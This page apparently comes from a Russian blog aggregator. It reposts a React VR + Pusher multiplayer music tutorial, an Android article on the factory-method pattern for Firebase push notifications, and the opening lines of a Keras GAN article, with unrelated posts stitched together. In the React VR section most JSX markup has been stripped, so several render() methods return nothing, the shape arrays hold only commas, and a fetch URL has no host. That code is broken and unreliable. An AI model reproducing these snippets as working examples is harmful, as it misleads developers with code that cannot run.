В Musical Forest благодаря WebSockets пользователи могут в реальном времени играть вместе музыку, нажимая на геометрические фигуры. Но из-за имеющихся возможностей и используемых технологий приложение получилось достаточно сложным (исходный код). Так почему бы не создать аналогичное приложение, работающее в реальном времени, на React VR с многопользовательской поддержкой на базе Pusher?


Вот как выглядит React VR/Pusher-версия:





Пользователь может ввести в URL идентификатор канала. При нажатии на трёхмерную фигуру проигрывается звук и публикуется Pusher-событие, которые получают другие пользователи в том же канале, и слышат тот же звук.


Для публикации событий возьмём Node.js-бэкенд, поэтому вам нужно иметь какой-то опыт работы с JavaScript и React. Если вы плохо знакомы с React VR и используемыми в VR концепциями, то для начала изучите этот материал.


Ссылки на скачивание (чтобы просто попробовать):
React VR-проект.
Node.js-бэкенд.


Настраиваем VR-проект


Начнём с установки (или обновления) инструмента React VR CLI:


npm install -g react-vr-cli

Создадим новый React VR-проект:


react-vr init musical-exp-react-vr-pusher

Идём в созданную им директорию и исполняем команду для запуска сервера разработки:


cd musical-exp-react-vr-pusher
npm start

В браузере идём по адресу http://localhost:8081/vr/. Должно появиться такое:


image


Если вы используете совместимый браузер (вроде Firefox Nightly под Windows), то должны увидеть ещё и кнопку View in VR, позволяющую просматривать приложение в очках VR:


image


Перейдём к программированию.


Создаём фон


Для фона возьмём эквидистантное изображение (equirectangular image). Главной особенностью таких изображений является то, что ширина должна быть ровно вдвое больше высоты. Так что откройте любимый графический редактор и создайте изображение 4096x2048 с градиентной заливкой. Цвет — на ваш вкус.


image


Внутри директории static_assets в корне приложения создаём новую папку images, и сохраняем туда картинку. Теперь откроем файл index.vr.js и заменим содержимое метода render на:


    render() {
      return (
        
          
        
      );
    }

Перезагрузим страницу (или активируем горячую перезагрузку), и увидим это:


image


Для эмулирования дерева воспользуемся Cylinder. По факту нам их потребуется сотня, чтобы получился лес вокруг пользователя. В оригинальной Musical Forest в файле js/components/background-objects.js можно найти алгоритм, генерирующий деревья. Если адаптировать код под React-компонент нашего проекта, получим:


    import React from 'react';
    import {
      View,
      Cylinder,
    } from 'react-vr';

    export default ({trees, perimeter, colors}) => {
      const DEG2RAD = Math.PI / 180;

      return (
        
          {Array.apply(null, {length: trees}).map((obj, index) => {
              const theta = DEG2RAD * (index / trees) * 360;
              const randomSeed = Math.random();
              const treeDistance = randomSeed * 5 + perimeter;
              const treeColor = Math.floor(randomSeed * 3);
              const x = Math.cos(theta) * treeDistance;
              const z = Math.sin(theta) * treeDistance;

              return (
                
              );
          })}
        
      );
    }

Функциональный компонент берёт три параметра:


  • trees — количество деревьев, которое должно получиться в лесу;
  • perimeter — значение, позволяющее управлять дальностью отрисовки деревьев от пользователя;
  • colors — массив значений цветов деревьев.

С помощью Array.apply(null, {length: trees}) можно создать массив пустых значений, к которому применим map-функцию, чтобы отрисовать массив цилиндров случайных цветов, прозрачности и позиций внутри компонента View.


Можно сохранить код в файле Forest.js внутри директории компонента и использовать его внутри index.vr.js:


    ...
    import Forest from './components/Forest';

    export default class musical_exp_react_vr_pusher extends React.Component {
      render() {
        return (
          
            

            
          
        );
      }
    };

    ...

В браузере увидим это. Отлично, фон готов, создадим 3D-объекты, которые будут создавать звуки.


Создаём 3D-формы


Нужно создать шесть 3D-форм, при касании каждая будет проигрывать шесть разных звуков. Также пригодится маленькая анимация, когда курсор помещается и убирается с объекта.


Для создания форм нам нужны VrButton, Animated.View, Box, Cylinder и Sphere. Но поскольку все формы будут отличаться, просто инкапсулируем в компонент, это будет то же самое. Сохраните следующий код в файл components/SoundShape.js:


    import React from 'react';
    import {
      VrButton,
      Animated,
    } from 'react-vr';

    export default class SoundShape extends React.Component {

      constructor(props) {
        super(props);
        this.state = {
          bounceValue: new Animated.Value(0),
        };
      }

      animateEnter() {
        Animated.spring(  
          this.state.bounceValue, 
          {
            toValue: 1, 
            friction: 4, 
          }
        ).start(); 
      }

      animateExit() {
        Animated.timing(
          this.state.bounceValue,
          {
            toValue: 0,
            duration: 50,
          }
        ).start();
      }

      render() {
        return (
          
            this.animateEnter()}
              onExit={()=>this.animateExit()}
            >
              {this.props.children}
            
          
        );
      }
    };

Когда курсор попадает в область кнопки, Animated.spring меняет значение this.state.bounceValue с 0 на 1 и показывает эффект подпрыгивания. Когда курсор уходит из области кнопки, Animated.timing меняет значение this.state.bounceValue с 1 на 0 в течение 50 миллисекунд. Чтобы это работало, обернём VrButton в компонент Animated.View, который будет менять rotateX-преобразование View при каждом изменении состояния.


В index.vr.js можно добавить SpotLight (можете выбрать любой другой тип источника света и изменить его свойства) и использовать компонент SoundShape, тем самым сделав цилиндр:


    ...
    import {
      AppRegistry,
      asset,
      Pano,
      SpotLight,
      View,
      Cylinder,
    } from 'react-vr';
    import Forest from './components/Forest';
    import SoundShape from './components/SoundShape';

    export default class musical_exp_react_vr_pusher extends React.Component {
      render() {
        return (
          
            ...

            

            
              
            
          
        );
      }
    };
    ...

Конечно, можно менять свойства 3D-форм, и даже заменять их на 3D-модели.


Теперь добавим пирамиду (цилиндр с нулевым радиусом op radius и четырьмя сегментами):


    
      
    

Куб:


    
      
    

Параллелепипед:


    
      
    

Сфера:


    
      
    

И треугольная призма:


    
      
    

После импорта сохраняем файл и обновляем браузер. Должно получиться такое:


image


Теперь добавим звуки!


Добавляем звук


Помимо прочего, React VR поддерживает wav, mp3 и ogg-файлы. Полный список есть здесь.
Можно взять сэмплы с Freesound или другого подобного сайта. Скачайте, какие вам нравятся, и поместите в директорию static_assets/sounds. Для нашего проекта возьмём звуки шести животных, птицу, другую птицу, ещё одну птицу, кошку, собаку и сверчка (последний файл пришлось пересохранить, чтобы уменьшить битрейт, иначе React VR его не проигрывал).


React VR предоставляет три опции проигрывания звука:



Однако 3D/объёмный звук поддерживает только компонент Sound, так что баланс левого и правого каналов будет меняться при перемещении слушателя по сцене или при повороте головы. Добавим его в компонент SoundShape, как и событие onClick в VrButton:


    ...
    import {
      ...
      Sound,
    } from 'react-vr';

    export default class SoundShape extends React.Component {
      ...
      render() {
        return (
          
            > this.props.onClick()}
              ...
            >
              ...
            
            
          
        );
      }
    }

Для управления проигрыванием воспользуемся MediaPlayerState. Они будут передаваться как свойства компонента.


С помощью информации из index.vr.js определим массив:


    ...
    import {
      ...
      MediaPlayerState,
    } from 'react-vr';
    ...

    export default class musical_exp_react_vr_pusher extends React.Component {

      constructor(props) {
        super(props);

            this.config = [
              {sound: asset('sounds/bird.wav'), playerState: new MediaPlayerState({})},
              {sound: asset('sounds/bird2.wav'), playerState: new MediaPlayerState({})},
              {sound: asset('sounds/bird3.wav'), playerState: new MediaPlayerState({})},
              {sound: asset('sounds/cat.wav'), playerState: new MediaPlayerState({})},
              {sound: asset('sounds/cricket.wav'), playerState: new MediaPlayerState({})},
              {sound: asset('sounds/dog.wav'), playerState: new MediaPlayerState({})},
            ];
      }

      ...
    }
And a method to play a sound using the MediaPlayerState object when the right index is passed:
    ...

    export default class musical_exp_react_vr_pusher extends React.Component {

      ...

      onShapeClicked(index) {
        this.config[index].playerState.play();
      }

      ...
    }

Осталось только передать всю эту информацию в компонент SoundShape. Сгруппируем наши 3D-формы в массив и воспользуемся map-функцией для генерирования компонентов:


    ...

    export default class musical_exp_react_vr_pusher extends React.Component {

      ...

      render() {
        const shapes = [
          ,
          ,
          ,
          ,
          ,
          
        ];

        return (
          
            ...

            {shapes.map((shape, index) => {
              return (       
                > this.onShapeClicked(index)} 
                  sound={this.config[index].sound} 
                  playerState={this.config[index].playerState}>
                    {shape}
                
              );
            })}

          
        );
      }

      ...
    }

Перезапустите браузер и попробуйте понажимать на объекты, вы услышите разные звуки.
С помощью Pusher добавим в React VR-приложение многопользовательскую поддержку в реальном времени.


Настраиваем Pusher


Создадим бесплатный аккаунт на https://pusher.com/signup. Когда вы создаёте приложение, вас попросят кое-что сконфигурировать:


image


Введите название, выберите в качестве фронтенда React, а в качестве бэкенда — Node.js. Пример кода для начала:


image


Не переживайте, вас не заставляют придерживаться конкретного набора технологий, вы всегда сможете их изменить. С Pusher можно использовать любые комбинации библиотек.


Копируем ID кластера (идёт после названия приложения, в этом примере — mt1), ID приложения, ключ и секретную информацию, они нам понадобятся. Всё это можно найти также во вкладке App Keys.


Публикуем событие


React VR работает как Web Worker (подробнее об архитектуре React VR в видео), так что нам надо включить скрипт Pusher-воркера в index.vr.js:


    ...
    importScripts('https://js.pusher.com/4.1/pusher.worker.min.js');

    export default class musical_exp_react_vr_pusher extends React.Component {
      ...
    }

Есть два условия, которые надо соблюсти. Во-первых, надо иметь возможность передавать идентификатор посредством URL (вроде http://localhost:8081/vr/?channel=1234), чтобы пользователи могли выбирать, в какие каналы заходить и делиться ими с друзьями.


Для этого нам надо считывать URL. К счастью, React VR идёт с нативным модулем Location, который делает свойства объекта window.location доступными для контекста React.


Теперь нужно обратиться к серверу, который опубликует Pusher-событие, чтобы все подключённые клиенты тоже могли его проиграть. Но нам не нужно, чтобы клиент, сгенерировавший событие, тоже получил его, потому что в этом случае звук будет проигрываться дважды. Да и какой смысл ждать события для проигрывания звука, если это можно сделать немедленно, как только пользователь кликнул на объект.


Каждому Pusher-соединению присваивается уникальный ID сокета. Чтобы получатели не принимали события в Pusher, нужно передавать серверу socket_id клиента, которого нужно исключить при срабатывании события (подробнее об этом здесь).


Таким образом, немного адаптировав функцию getParameterByName для чтения параметров URL и сохранив socketId при успешном подключении к Pusher, мы можем соблюсти оба требования:


  ...
    import {
      ...
      NativeModules,
    } from 'react-vr';
    ...
    const Location = NativeModules.Location;

    export default class musical_exp_react_vr_pusher extends React.Component {
      componentWillMount() {
        const pusher = new Pusher('', {
          cluster: '',
          encrypted: true,
        });
        this.socketId = null;
        pusher.connection.bind('connected', () => {
          this.socketId = pusher.connection.socket_id;
        });
        this.channelName = 'channel-' + this.getChannelId();
        const channel = pusher.subscribe(this.channelName);
        channel.bind('sound_played',  (data) => {
          this.config[data.index].playerState.play();
        });
      }

      getChannelId() {
        let channel = this.getParameterByName('channel', Location.href);
        if(!channel) {
          channel = 0;
        }

        return channel;
      }

      getParameterByName(name, url) {
        const regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
        const results = regex.exec(url);
        if (!results) return null;
        if (!results[2]) return '';
        return decodeURIComponent(results[2].replace(/\+/g, " "));
      }

      ...
    }

Если в URL нет параметров канал, то по умолчанию присваивается ID 0. Этот ID будет добавляться к Pusher-каналу, чтобы сделать его уникальным.


Наконец, нам нужно вызвать endpoint на серверной стороне, которая опубликует событие, передав ID сокета клиента и канал, в котором будут публиковаться события:


    ...
    export default class musical_exp_react_vr_pusher extends React.Component {
      ...
      onShapeClicked(index) {
        this.config[index].playerState.play();
        fetch('http:///pusher/trigger', {
          method: 'POST',
          headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json',
          },
          body: JSON.stringify({
            index: index,
            socketId: this.socketId,
            channelName: this.channelName,
          })
        });
      }
      ...
    }

Вот и весь код для React-части. Теперь разберёмся с сервером.


Создаём Node.js-бэкенд


С помощью команды генерируем файл package.json:


npm init -y


Добавляем зависимости:


    npm install --save body-parser express pusher

И сохраняем в файл этот код:


    const express = require('express');
    const bodyParser = require('body-parser');
    const Pusher = require('pusher');

    const app = express();
    app.use(bodyParser.json());
    app.use(bodyParser.urlencoded({ extended: false }));
    /*
      Эти заголовки необходимы, потому что сервер разработки React VR запущен на другом порту. Когда финальный проект будет опубликован, нужда в middleware может отпасть
    */
    app.use((req, res, next) => {
      res.header("Access-Control-Allow-Origin", "*")
      res.header("Access-Control-Allow-Headers", 
                 "Origin, X-Requested-With, Content-Type, Accept")
      next();
    });

    const pusher = new Pusher({
      appId: '',
      key: '',
      secret: '',
      cluster: '',
      encrypted: true,
    });

    app.post('/pusher/trigger', function(req, res) {
      pusher.trigger(req.body.channelName, 
                     'sound_played', 
                     { index: req.body.index },
                     req.body.socketId );
      res.send('ok');
    });

    const port = process.env.PORT || 5000;
    app.listen(port, () => console.log(`Running on port ${port}`));

Как видите, мы настроили Express-сервер, Pusher-объект и route/pusher/trigger, который просто запускает событие с индексом звука для проигрывания и socketID для исключения получателя события.


Всё готово. Давайте тестировать.


Тестируем


Выполним Node.js-бэкенд с помощью команды:


node server.js


Обновим серверный URL в index.vr.js (с использованием вашего IP вместо localhost) и в двух браузерных окнах откроем адрес вроде http://localhost:8081/vr/?channel=1234. При клике на 3D-форму вы услышите дважды проигранный звук (это куда веселее делать с друзьями на разных компьютерах):





Заключение


React VR — превосходная библиотека, позволяющая легко создавать VR-проекты, особенно если вы уже знаете React/React Native. Если присовокупить к этому Pusher, то получится мощный комплекс разработки веб-приложений нового поколения.


Вы можете собрать production-релиз этого проекта для развёртывания на любом веб-сервере: https://facebook.github.io/react-vr/docs/publishing.html.


Также можете изменить цвета, формы, звуки, добавить больше функций из оригинальной Musical Forest.


Скачать код проекта можно из репозитория GitHub.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331816/


Метки:  

[Из песочницы] “Фабричный метод” в android разработке. Лучший способ обработки пушей

Пятница, 30 Июня 2017 г. 13:31 + в цитатник

В этой статье я бы хотел поговорить об одном из классических шаблонов проектирования в Android-разработке: фабричном методе (Fabric method). Изучать его мы будем на примере работы с Firebase Cloud Messaging (далее FCM). Цель — донести до начинающих разработчиков, пока не овладевших в полной мере всеми достоинствами ООП, важность применения приёмов объектно-ориентированного проектирования.


image


Почему на примере FCM?


FCM — один из готовых сервисов передачи сообщений (так называемых пушей), работающий по модели «издатель-подписчик». Если вы в очередной раз получаете нотификацию на свой девайс о новом сообщении (новости/скидке/новом товаре и многом другом), то велика вероятность, что эта функциональность реализована посредством FCM или его аналога. На данныйы момент FCM позиционируется Google как эталонное решение. Поэтому и статья написана из расчёта, что читатель либо уже знаком с этим сервисом, либо ему, скорее всего, выпадет возможность с ним познакомиться.


А почему именно про push-сообщения?


Написать обработку push-сообщений в приложении, применяя фабричный метод — отличный повод раз и навсегда разобраться с этим шаблоном. Проектируя UI-объекты или объекты бизнес-логики, новичку простительно сделать ошибку: не предусмотреть расширение количества объектов и/или не заложить возможность легко изменять логику работы каждого из них. Но, как показывает опыт, обработка пушей зачастую усложняется и расширяется в течение всего периода разработки проекта. Представьте, если бы вам пришлось писать приложение ВКонтакте. Пользователь получает кучу различных нотификаций по пушу, которые выглядят по-разному и по нажатию открывают разные экраны. И если модуль, отвечающий за обработку пуш-уведомлений, изначально был спроектирован неправильно, то каждый новый пуш — это привет, новые if else, привет, регрессионное тестирование и вам, новые баги, тоже привет.


Пример проекта с использованием FCM


Идея


Представим стартап, идея которого — наладить коммуникацию между воспитателями детского сада и родителями детей, которые этот детский сад посещают. Единое приложение и для воспитателей, и для родителей не подходит, потому что через учительское приложение контент создаётся, а через родительское — потребляется. Учтём и третий вид пользователей сервиса — администрацию детского сада. Им мобильное приложение не нужно в силу того, что основная часть их рабочего дня проходит за рабочим столом, но им нужен удобный способ оповещать родителей и воспитателей о важных новостях.


Итого:


  • мобильное приложение для родителей (далее «родительское»);
  • мобильное приложение для воспитателей (далее «учительское»);
  • web приложение для администрации детского сада (далее «админка»);

Структура Android-проекта


Проект в Android Studio будет иметь следующую структуру


image


Модуль core — общий для двух приложений. Он содержит модули parent и teacher — модули родительского и учительского приложений соответственно.


Задачи на этапе подключения push-уведомлений — показать нотификацию пользователю при изменении данных на сервере вне зависимости от того, открыто приложение у пользователя или нет.
Для учительского и родительского приложений приходят различные виды пушей. Поэтому у нотификаций могут быть разные иконки, а по нажатию на нотификацию открываются разные экраны.


Примеры нотификаций


Для учительского приложения:


  • в группу добавили нового ученика (после добавления ребёнка в админке);
  • день рождения одного из детей в группе.

Для родительского приложения:


  • ребенок получил оценку (после добавления оценки в учительском приложении);
  • не забыть забрать ребенка в сокращённый день (push инициируется из админки);

Обработка пушей


После всех подготовительных работ по подключению и настройке работы FCM в Android-проекте обработка push-уведомлений сводится к реализации одного класса, наследника FirebaseMessagingService.


public class MyFirebaseMessagingService extends FirebaseMessagingService {

     @Override
   public void onMessageReceived(RemoteMessage remoteMessage) {
          super.onMessageReceived(remoteMessage);
     }
}

О подключении и настройке FCM хорошо написано здесь:


-> Официальная документация по подключению FCM в Android проект
-> Репозиторий с примером на аккаунте Firebase


Метод onMessageReceived() принимает объект класса RemoteMessage, который и содержит все, что отправил сервер: текст и заголовок сообщения, Map кастомных данных, время отправки push-уведомления и другие данные.


Есть одно важное условие. Если push был отправлен с текстом и заголовком для нотификации, то в момент, когда приложение свернуто или не запущено, метод onMessageReceived() не сработает. В таком случае библиотека firebase-messaging сама сконфигурирует нотификацию из полученных в push`е параметров и покажет её в статусбаре. На этот процесс разработчик не может повлиять. Но если передавать все необходимые данные (в том числе текст и заголовок для нотификации) через объект data, то все сообщения будут обрабатываться классом MyFirebaseMessagingService. Примеры кода ниже подразумевают именно такое использование FCM. Вся информация о событии передается в объекте data.


-> Подробнее о видах сообщений Firebase


Проблема


Итак, если бы мы ничего не знали про паттерны проектирования, то реализация поставленной задачи для учительского приложения выглядела бы примерно следующим образом:


public class TeacherFirebaseMessagingService extends FirebaseMessagingService {

   private static final String KEY_PUSH_TYPE = "type";
   private static final String KEY_PUSH_TITLE = "title";
   private static final String KEY_PUSH_CONTENT = "content";

   private static final String TYPE_NEW_CHILD = "add_child";
   private static final String TYPE_BIRTHDAY = "birthday";

   private static final String EMPTY_STRING = "";

   private static final int DEFAULT_NOTIFICATION_ID = 15;

   @Override
   public void onMessageReceived(RemoteMessage remoteMessage) {
       super.onMessageReceived(remoteMessage);
       Map data = remoteMessage.getData();
       if (data.containsKey(KEY_PUSH_TYPE)) {

           NotificationCompat.Builder notificationBuilder;
           String notificationTitle = null;
           if (data.containsKey(KEY_PUSH_TITLE)) {
               notificationTitle = data.get(KEY_PUSH_TITLE);
           }
           String notificationContent = null;
           if (data.containsKey(KEY_PUSH_CONTENT)) {
               notificationContent = data.get(KEY_PUSH_CONTENT);
           }
           NotificationCompat.Builder builder = new NotificationCompat.Builder(this);
           String pushType = data.get(KEY_PUSH_TYPE);
           if (pushType.equals(TYPE_NEW_CHILD)) {
               builder.setSmallIcon(R.drawable.ic_add_child)
                       .setContentTitle(notificationTitle != null ? notificationTitle : EMPTY_STRING)
                       .setContentText(notificationContent != null ? notificationContent : EMPTY_STRING);
           } else if (pushType.equals(TYPE_BIRTHDAY)) {
//                notificationBuilder = ....
//                тут будут задаваться параметры нотификации о дне рождения
           }
           NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
           notificationManager.notify(DEFAULT_NOTIFICATION_ID, builder.build());
       }
   }

Ключи для получения title и content из данных remoteMessage:


private static final String KEY_TITLE = "title";
private static final String KEY_CONTENT = "content";

Типы пушей для учительского приложения:


 private static final String TYPE_NEW_CHILD = "add_child";
 private static final String TYPE_BIRTHDAY = "birthday";

Конечно, для каждого типа нотификации можно сделать свой private метод который бы возвращал объект класса NotificationCompat.Builder. Но если вспомнить о приложении VK с его большим количеством разных нотификаций и разнообразии действий при нажатии на них, то становятся очевидны огрехи в таком дизайне класса:


  • В примере нет работы с PendingIntent для реализации открытия разных экранов приложения по нажатию на нотификацию. Добавление этого функционала ведет к увеличению кода в классе.
  • С каждым пушом отдельного типа приходит дополнительная информация, присущая только ему. Ее тоже необходимо извлечь из data, обработать и передать в приложение при переходе по нажатию. Этот код будет для каждого типа нотификации разным, что тоже значительно увеличит объём нашего класса.

При подобном подходе объект класса TeacherFirebaseMessagingReceiver за считанные часы разработки становится огромным неповоротным god object`ом. И поддержка его кода рискует превратиться в сгусток боли ещё до первого релиза приложения. И самое интересное, что что-то подобное придется наворотить в родительском приложении.


Решение


Теперь о реализации этого функционала более элегантным способом с помощью паттерна «Фабричный метод».


Базовый класс, который находится в модуле core:


public class CoreFirebaseMessagingService extends FirebaseMessagingService {

   @Override
   public void onMessageReceived(RemoteMessage remoteMessage) {
       super.onMessageReceived(remoteMessage);
   }
}

Субклассы CoreFirebaseMessagingService будут зарегистрированы в манифестах двух модулей приложений.


Теперь спроектируем объект CoreNotification. Он будет содержать реализацию внешнего вида нотификации в статус баре в зависимости от того, какой тип пуша пришел.


public abstract class CoreNotification {
   public static final String KEY_FROM_PUSH = "CoreNotification.FromNotification";

   private static final String KEY_TITLE = "title";
   private static final String KEY_CONTENT = "body";

   protected static final String STRING_EMPTY = "";

   protected RemoteMessage remoteMessage;

   public CoreNotification(RemoteMessage remoteMessage) {
       this.remoteMessage = remoteMessage;
   }

   protected String getTitleFromMessage() {
       Map data = remoteMessage.getData();
       if (data.containsKey(KEY_TITLE)) {
           return data.get(KEY_TITLE);
       } else {
           return STRING_EMPTY;
       }
   }

   protected String getContentFromMessage() {
       Map data = remoteMessage.getData();
       if (data.containsKey(KEY_CONTENT)) {
           return data.get(KEY_CONTENT);
       } else {
           return STRING_EMPTY;
       }
   }

   public String getTitle() {
       return getTitleFromMessage();
   }

   public String getContent() {
       return getContentFromMessage();
   }

   protected abstract PendingIntent configurePendingIntent(Context context);

   protected abstract @DrawableRes int largeIcon();

   protected abstract String getNotificationTag();
}

Объект принимает в конструктор и хранит в себе полученный RemoteMessage.
Все абстрактные методы будут переопределены для конкретных нотификаций. STRING_EMPTY может понадобиться в реализациях, поэтому делаем его protected.


Если следовать вышеупомянутой книге «Приёмы объектно-ориентированного проектирования. Паттерны проектирования» или очень, на мой взгляд, доступной для понимания книге для Java-разработчиков Паттерны проектирования, то CoreNotification должен быть интерфейсом, а не классом. Такой подход более гибок. Но тогда бы нам пришлось писать код для получения title и content для каждой нотификации во всех реализациях этого интерфейса. Поэтому было принято решение избежать дублирования кода через абстрактный класс, который содержит методы getTitleFromMessage() и getContentFromMessage(). Ведь эти значения для каждого пуша извлекаются одинаково (поля title и content в RemoteMessage.getData() будет присутствовать всегда, так реализован бэкенд). На всякий случай эти методы оставили protected, если title и content для какой-нибудь нотификации необходимо будет получать другим способом.


Далее проектируем абстрактный класс CoreNotificationCreator. Объект этого класса будет создавать и отображать нотификации в статусбаре. Он и будет работать с наследниками класса CoreNotification.


public abstract class CoreNotificationCreator {

   private static final String KEY_NOTIFICATION_TAG = "CoreNotificationCreator.TagKey";
   private static final String DEFAULT_TAG = "CoreNotificationCreator.DefaultTag";

   private static final String KEY_TYPE = "type";

   private NotificationManager notificationManager;

   public CoreNotificationCreator(Context context) {
       notificationManager = ((NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE));
   }

   public void showNotification(Context context, RemoteMessage remoteMessage) {
       String notificationType = getNotificationType(remoteMessage);
       CoreNotification notification = factoryMethod(notificationType, remoteMessage);
       if (notification != null) {
           NotificationCompat.Builder builder = builderFromPushNotification(context, notification);
           notify(builder);
       }
   }

   private String getNotificationType(RemoteMessage remoteMessage) {
       Map data = remoteMessage.getData();
       if (data.containsKey(KEY_TYPE)) {
           return data.get(KEY_TYPE);
       }
       return "";
   }

   @Nullable
   protected abstract CoreNotification factoryMethod(String messageType, RemoteMessage remoteMessage);

   private final static int DEFAULT_NOTIFICATION_ID = 15;

   private static final
   @DrawableRes
   int SMALL_ICON_RES_ID = R.drawable.ic_notification_small;

   protected NotificationCompat.Builder builderFromPushNotification(Context context, CoreNotification notification) {
       Bitmap largeIcon = BitmapFactory.decodeResource(context.getResources(), notification.largeIcon());
       NotificationCompat.Builder builder = new NotificationCompat.Builder(context)
               .setSmallIcon(SMALL_ICON_RES_ID)
               .setAutoCancel(true)
               .setDefaults(NotificationCompat.DEFAULT_ALL)
               .setContentTitle(notification.getTitle())
               .setContentText(notification.getContent())
               .setLargeIcon(largeIcon);
       builder.getExtras().putString(KEY_NOTIFICATION_TAG, notification.getNotificationTag());
       builder.setContentIntent(notification.configurePendingIntent(context));
       return builder;
   }

   private void notify(@NonNull NotificationCompat.Builder builder) {
       final String notificationTag = getNotificationTag(builder);
       notificationManager.cancel(notificationTag, DEFAULT_NOTIFICATION_ID);
       notificationManager.notify(notificationTag, DEFAULT_NOTIFICATION_ID, builder.build());
   }

   private String getNotificationTag(NotificationCompat.Builder builder) {
       Bundle extras = builder.getExtras();
       if (extras.containsKey(KEY_NOTIFICATION_TAG)) {
           return extras.getString(KEY_NOTIFICATION_TAG);
       } else {
           return DEFAULT_TAG;
       }
   }
}

Метод showNotification() — единственный public метод. Его и будем вызывать при получении новых пушей для отображения нотификаций. Все остальные методы — внутренняя реализация создания и отображения нотификации.


Создание нотификаций в Android


  public void showNotification(Context context, RemoteMessage remoteMessage) {
       String notificationType = getNotificationType(remoteMessage);
       CoreNotification notification = factoryMethod(notificationType, remoteMessage);
       if (notification != null) {
           NotificationCompat.Builder builder = builderFromPushNotification(context, notification);
           notify(builder);
       }
   }

В свою очередь в showNotification() определяется тип пуша, который содержится в данных remoteMessage. И далее тип пуша и объект remoteMessage передаётся фабричному методу, который создаст для нас нужный объект класса CoreNotification.


factoryMethod() @Nullable потому, что может прийти тип пуша, о котором приложение ничего не знает. В теории. Страховка.


Итак, реализация одного класса для двух приложений, который работает с пушами, готова. Дело остается за малым: реализовать для обоих приложений свой конкретный NotificationCreator.


Пример из учительского приложения


public class TeacherNotificationCreator extends CoreNotificationCreator {

   public TeacherNotificationCreator(Context context) {
       super(context);
   }

   @Nullable
   @Override
   protected CoreNotification factoryMethod(String messageType, RemoteMessage remoteMessage) {
       switch (messageType) {
           case NewChildNotification.TYPE:
               return new NewChildNotification(remoteMessage);
           case BirthdayNotification.TYPE:
               return new BirthdayNotification(remoteMessage);
       }
       return null;
   }
}

В фабричном методе по переменной messageType определяем, какой именно субкласс CoreNotification будет возвращён.


Например, для учительского приложения один из видов нотификаций мог бы быть реализован так:


class NewChildNotification extends CoreNotification {

   static final String TYPE = "add_child";

   private static final String KEY_CHILD_NAME = "child_name";

   NewChildNotification(RemoteMessage remoteMessage) {
       super(remoteMessage);
   }

   @Override
   protected PendingIntent configurePendingIntent(Context context) {
       Intent intent = new Intent(context, MainActivity.class)
               .setPackage(context.getApplicationContext().getPackageName())
               .setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_CLEAR_TOP);
       intent.putExtra(CoreNotification.KEY_FROM_PUSH, getAddChildInfo());
       return PendingIntent.getActivity(context, 1, intent, PendingIntent.FLAG_UPDATE_CURRENT);
   }

   @Override
   protected int largeIcon() {
       return R.drawable.ic_add_child;
   }

   @Override
   protected String getNotificationTag() {
       return getClass().getName() + getChildName();
   }

   private String getChildName() {
       Map data = remoteMessage.getData();
       if (data.containsKey(KEY_CHILD_NAME)) {
           return data.get(KEY_CHILD_NAME);
       }
       return STRING_EMPTY;
   }

   private String getAddChildInfo() {
       return "New child " + getChildName() + " was added to your group";
   }
}

Метод configurePendingIntent() выносится в реализацию конкретной нотификации для того, чтобы оставалась возможность открывать разные экраны с параметрами конкретного push-сообщения


Абсолютно аналогичный подход в родительском приложении:


public class ParentNotificationCreator extends CoreNotificationCreator {

   public ParentNotificationCreator(Context context) {
       super(context);
   }

   @Nullable
   @Override
   protected CoreNotification factoryMethod(String messageType, RemoteMessage remoteMessage) {
       switch (messageType) {
           case PickUpNotification.TYPE: 
               return new PickUpNotification(remoteMessage);
           case GradeNotification.TYPE:
               return new GradeNotification(remoteMessage);
           default:
               return null;
       }
   }
}

Аналогичным учительскому приложению создаются уникальные нотификации для родительского приложения со своей реализацией и своим уникальным типом.


В этом репозитории вы найдёте исходный код проекта. Если возникнет желание его собрать, то необходимо будет создать свой проект Firebase. Процесс несложный и бесплатный, а Android Studio во многом его упрощает: Tools -> Firebase -> Cloud Messaging — удобная генерация необходимых зависимостей в Gradle-скриптах и настройка проекта firebase из студии. И ещё раз официальная пошаговая инструкция для добавления FCM в Android-проект


Что мы в итоге получили


При добавлении новых пуш уведомлений в конкретное приложение меняется реализация наследника абстрактного CoreNotificationCreator (в две строки) + создаётся новый класс, реализующий абстрактный CoreNotification. При этом логика формирования и отображения существующих нотификаций не меняется. Вероятность реализовать новый субкласс CoreNotification так, что он как-то повлияет на работу остальной рабочей функциональности, стремится к нулю. И каждый субкласс CoreNotification самостоятельно решает:


  • какую largeIcon использовать для нотификации;
  • каким Intent`ом какое activity открыть;
  • за счёт переопределения getNotificationTag() можно решить, будут ли нотификации подменять друг друга или будут создаваться на каждую нотификацию этого класса отдельно.

И самое ценное, на мой взгляд, то, что если заказчик захочет разработать новое приложение для, например, администратора детского сада, то реализация пушей для него никак не затронет работу всей системы уведомлений о push-сообщениях и сводится к наследованию и переопределению по примеру нескольких классов.


Еще раз о литературе


Более детальное понимание паттерна "Фабричный метод" и других классических паттернов проектирования даст вам литература, ставшая "настольной" для отдела Android-разработки в нашей компанни



Постскриптум


Писать в конце статьи о полезности классических паттернов проектирования в работе программиста было бы крайне банально. Я бы даже сказал, пошло. Наверняка на хабре эту полезность доказали уже десятки раз. А вот пример применения в разработке под конкретную платформу, надеюсь, будет полезен Android-джуниорам в этом нелегком, но увлекательном деле.


Выбор конкретного шаблона проектирования для реализации конкретной задачи — тема для жаркой дискуссии. Поэтому добро пожаловать в комментарии. Всем пока!

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332006/


Обучение на PG Day'17 Russia

Пятница, 30 Июня 2017 г. 13:17 + в цитатник

Метки:  

Автоэнкодеры в Keras, Часть 5: GAN(Generative Adversarial Networks) и tensorflow

Пятница, 30 Июня 2017 г. 12:30 + в цитатник

Содержание



(Из-за вчерашнего бага с перезалитыми картинками на хабрасторейдж, случившегося не по моей вине, вчера был вынужден убрать эту статью сразу после публикации. Выкладываю заново.)

При всех преимуществах вариационных автоэнкодеров VAE, которыми мы занимались в предыдущих постах, они обладают одним существенным недостатком: из-за плохого способа сравнения оригинальных и восстановленных объектов, сгенерированные ими объекты хоть и похожи на объекты из обучающей выборки, но легко от них отличимы (например, размыты).

